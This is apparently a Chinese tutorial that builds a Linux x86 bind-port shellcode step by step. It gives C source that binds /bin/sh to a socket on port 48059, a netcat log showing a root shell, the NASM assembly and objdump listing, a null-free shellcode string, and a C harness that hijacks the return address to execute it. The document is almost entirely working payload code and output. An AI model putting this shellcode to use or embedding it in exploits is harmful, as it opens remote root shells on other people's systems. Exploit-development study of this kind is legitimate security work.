示例C代码
#include<sys/socket.h> //构造socket所需的库 #include<netinet/in.h> //定义sockaddr结构 int main() { char *shell[2]; //用于execv调用 int server,client; //文件描述符句柄 struct sockaddr_in serv_addr; //保存IP/端口值的结构 server=socket(2,1,0); //建立一个本地IP socket,类型为stream(即tcp) serv_addr.sin_addr.s_addr=0; //将socket的地址设置为所有本地地址 serv_addr.sin_port=0xBBBB; //设置socket的端口48059 serv_addr.sin_family=2; //设置协议族:IP bind(server,(struct sockaddr *)&serv_addr,0x10); //绑定socket listen(server,0); //进入监听状态,等待连接 client=accept(server,0,0); //当有连接时,向客户端返回句柄 //将client句柄连接到stdin、stdout、stderr dup2(client,0); //将stdin连接client dup2(client,1); //将stdout连接client dup2(client,2); //将strderr连接到client shell[0]="/bin/sh"; //execve的第一个参数 shell[1]=0; //数组的第二个元素为NULL,表示数组结束 execv(shell[0],shell,NULL); //建立一个shell }
测试代码
nc 192.168.0.189 48059
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10
(wheel)
思路整理:
综述前一节的内容,建立socket的基本步骤如下:
server=socket(2,1,0)
bind(server,(struct sockaddr *)&serv_addr,0x10)
listen(server,0)
client=accept(server,0,0)
dup2(client,0),dup2(client,1),dup2(client,2)
execv "bin/sh"
在转向汇编之前,需要知道
在linux中,socket是通过使用socketcall系统调用(102)实现的。socketcall系统调用有两个参数。
ebx整数值,定义在/usr/include/net.h中。为建立一基本的socket,只需要
SYS_SOCKET 1
SYS_BIND 2
SYS_CONNECT 3
SYS_LISTEN 4
SYS_ACCEPT 5
ecx一个指针,指向一个参数数组,用于所调用的特定函数
汇编代码:
section .text global _start _start: xor eax,eax ;清空eax xor ebx,ebx ;清空ebx xor edx,edx ;清空edx ;server=socket(2,1,0) push eax ;socket的第三个参数:0 push byte 0x1 ;socket的第二个参数:1 push byte 0x2 ;socket的第一个参数:2 mov ecx,esp ;将数组的地址设置为socketcall的第二个参数 inc bl ;将socketcall的第一个参数设置为1 mov al,102 ;调用socketcall,分支调用号为1:SYS_SOCKET int 0x80 ;进入核心态,执行系统调用 mov esi,eax ;将返回值(eax)存储到esi中(即server句柄) ;bind(server,(struct sockaddr *)&serv_addr,0x10) push edx ;仍然为零,用作接下来压栈的数据的结束符 push long 0xBBBB02BB ;建立结构,端口:0xBBBB,sin.family:02,一个字节的任意值:BB mov ecx,esp ;将结构的地址(在栈上),复制到ecx push byte 0x10 ;开始bind的参数,首先将1个字节长度的数据16(长度)压栈 push ecx ;在栈上保存结构的地址 push esi ;将文件描述符server(现在是esi)保存到栈 mov ecx,esp ;将数组的地址设置为socketcall的第二个参数 inc bl ;将b1设置为2,socketcall的第一个参数 mov al,102 ;调用socketcall,分支调用号为2:SYS_BIND int 0x80 ;进入核心态,执行系统调用 ;listen(server,0) push edx ;仍然为0,用来作为接下来压栈的数据的结束符 push esi ;文件描述符server(esi)压栈 mov ecx,esp ;将数组的地址设置为socketcall的第二个参数 mov bl,0x4 ;将bl设置为4,socketcall的第一个参数 mov al,102 ;调用socketcall,分支调用号为4:SYS_LISTEN int 0x80 ;进入核心态,执行系统调用 ;client=accept(server,0,0) push edx ;仍然为零,将accept的第三个参数压栈 push edx ;仍然为零,将accept的第二个参数压栈 push esi ;将server文件的描述符压栈 mov ecx,esp ;将参数数组的地址放置到ecx中,用作socketcall的第二个参数 inc bl ;将bl设置为5,用作socketcall的第一个参数 mov al,102 ;调用socketcall,分支调用号为5:SYS_ACCEPT int 0x80 ;进入核心态,执行系统调用 ;为dup2命令作准备,将client文件句柄保存到ebx mov ebx,eax ;将返回的文件描述符client复制到ebx ;dup2(client,0) xor ecx,ecx ;清空ecx mov al,63 ;将系统调用的第一个参数设置为63:dup int 0x80 ;进行系统调用 ;dup2(client,1) inc ecx ;ecx设置为1 mov al,63 ;准备进行系统调用:dup2:63 int 0x80 ;进行系统调用 ;dup2(client,2) inc ecx ;ecx设置为2 mov al,63 ;准备进行系统调用:dup2:63 int 0x80 ;进行系统调用 ;标准的execv("/bin/sh"... push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80
nasm -f elf bind_port_shell.asm
ld -o bind_port_shell bind_port_shell.o
下面生成十六进制代码
[root@FC1 root]# objdump -d ./bind_port_shell ./bind_port_shell: 文件格式 elf32-i386 反汇编 .text 节: 08048080 <_start>: 8048080: 31 c0 xor %eax,%eax 8048082: 31 db xor %ebx,%ebx 8048084: 31 d2 xor %edx,%edx 8048086: 50 push %eax 8048087: 6a 01 push $0x1 8048089: 6a 02 push $0x2 804808b: 89 e1 mov %esp,%ecx 804808d: fe c3 inc %bl 804808f: b0 66 mov $0x66,%al 8048091: cd 80 int $0x80 8048093: 89 c6 mov %eax,%esi 8048095: 52 push %edx 8048096: 68 bb 02 bb bb push $0xbbbb02bb 804809b: 89 e1 mov %esp,%ecx 804809d: 6a 10 push $0x10 804809f: 51 push %ecx 80480a0: 56 push %esi 80480a1: 89 e1 mov %esp,%ecx 80480a3: fe c3 inc %bl 80480a5: b0 66 mov $0x66,%al 80480a7: cd 80 int $0x80 80480a9: 52 push %edx 80480aa: 56 push %esi 80480ab: 89 e1 mov %esp,%ecx 80480ad: b3 04 mov $0x4,%bl 80480af: b0 66 mov $0x66,%al 80480b1: cd 80 int $0x80 80480b3: 52 push %edx 80480b4: 52 push %edx 80480b5: 56 push %esi 80480b6: 89 e1 mov %esp,%ecx 80480b8: fe c3 inc %bl 80480ba: b0 66 mov $0x66,%al 80480bc: cd 80 int $0x80 80480be: 89 c3 mov %eax,%ebx 80480c0: 31 c9 xor %ecx,%ecx 80480c2: b0 3f mov $0x3f,%al 80480c4: cd 80 int $0x80 80480c6: 41 inc %ecx 80480c7: b0 3f mov $0x3f,%al 80480c9: cd 80 int $0x80 80480cb: 41 inc %ecx 80480cc: b0 3f mov $0x3f,%al 80480ce: cd 80 int $0x80 80480d0: 52 push %edx 80480d1: 68 2f 2f 73 68 push $0x68732f2f 80480d6: 68 2f 62 69 6e push $0x6e69622f 80480db: 89 e3 mov %esp,%ebx 80480dd: 52 push %edx 80480de: 53 push %ebx 80480df: 89 e1 mov %esp,%ecx 80480e1: b0 0b mov $0xb,%al 80480e3: cd 80 int $0x80
目测检查没有NULL字符,下面测试shellcode
#include<stdio.h> char shellcode[]= "\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; void main(){ int *ret; ret=(int *)&ret+2; (*ret)=(int)shellcode; }